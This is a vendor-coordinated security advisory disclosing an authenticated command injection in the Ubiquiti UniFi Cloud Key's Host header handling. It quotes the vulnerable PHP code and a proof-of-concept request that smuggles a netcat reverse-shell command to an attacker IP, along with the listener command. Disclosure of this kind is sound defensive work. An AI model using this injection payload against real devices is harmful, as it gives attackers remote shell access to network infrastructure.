SEC Consult Vulnerability Lab Security Advisory < 20170804-1 >
=======================================================================
              title: Authenticated Command Injection
            product: Ubiquiti Networks UniFi Cloud Key
 vulnerable version: Firmware v0.6.1
      fixed version: Firmware v0.6.4
         CVE number:
             impact: High
           homepage: https://www.ubnt.com
              found: 2017-03-26
                 by: T. Weber (Office Vienna)
                     SEC Consult Vulnerability Lab

                     An integrated part of SEC Consult
                     Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
                     Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich

                     https://www.sec-consult.com
=======================================================================

Vendor description:
-------------------
"Ubiquiti Networks develops high-performance networking
technology for service providers and enterprises. Our technology
platforms focus on delivering highly advanced and easily deployable
solutions that appeal to a global customer base in underserved and
underpenetrated markets."

Source: http://ir.ubnt.com/


Business recommendation:
------------------------
SEC Consult recommends not to use this device in production until a thorough
security review has been performed by security professionals and all
identified issues have been resolved.


Vulnerability overview/description:
-----------------------------------
A command injection can be triggered via the hostname header in the status GET
request. This vulnerability can be exploited when the Cloud Key web interface
is exposed to the Internet and an attacker has credentials to it.

Proof of concept:
-----------------
The following PHP snipplet is responsible for the command execution vulnerability:

(api.inc, line 265)
-------------------------------------------------------------------------------
[...]
function is_unifi_running() {
    if (!isset($_SERVER['HTTP_HOST'])) {
            $c_host = $_SERVER['SERVER_ADDR'];
    } else {
            $c_host = $_SERVER['HTTP_HOST'];
    }
    $unifi_href = 'http://' . $c_host . ':8080/status';
    exec(CMD_CURL . $unifi_href, $out, $rc);
    if ($rc == 0) {
        return true;
    }
    return false;
}
[...]
-------------------------------------------------------------------------------

Since '$c_host' is not filtered, a command injection is possible.

The following GET request was used to open a reverse-shell via command injection
from the Cloud Key system (192.168.0.30) to the attacker (192.168.0.3):
-------------------------------------------------------------------------------
GET /api/status HTTP/1.1
Host: 192.168.0.30;busybox nc 192.168.0.3 8999 -e bash;
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
X-Access-Token: <Token>
Referer: https://192.168.0.30/login
Cookie: CKSESSIONID=<Session-ID>
Connection: close
-------------------------------------------------------------------------------

As the listener, netcat was used:
$ nc -lvp 8999

Vulnerable / tested versions:
-----------------------------
Ubiquiti Networks UniFi Cloud Key version 0.6.1 has been tested. This version
was the latest at the time the security vulnerabilities were discovered.


Vendor contact timeline:
------------------------
2017-03-29: Contacting vendor via HackerOne. Vendor sets status to
            "Triaged".
2017-04-24: Asking for a status update; No answer.
2017-05-06: Found update 0.6.4 on the website of the vendor.
2017-05-15: Contacted vendor via e-mail and asked for status.
2017-05-16: Vendor closed the ticked and changed the status to resolved.
            Current firmware version was v0.6.4. Set the publication
            date to 2017-08-04 (at least 90 days after fix).
2017-08-04: Public release of security advisory

Solution:
---------
Upgrade to v0.6.4 or above.


Workaround:
-----------
None


Advisory URL:
-------------
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich

About SEC Consult Vulnerability Lab
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Vulnerability Lab supports high-quality penetration testing and the evaluation
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customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

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EOF T. Weber / @2017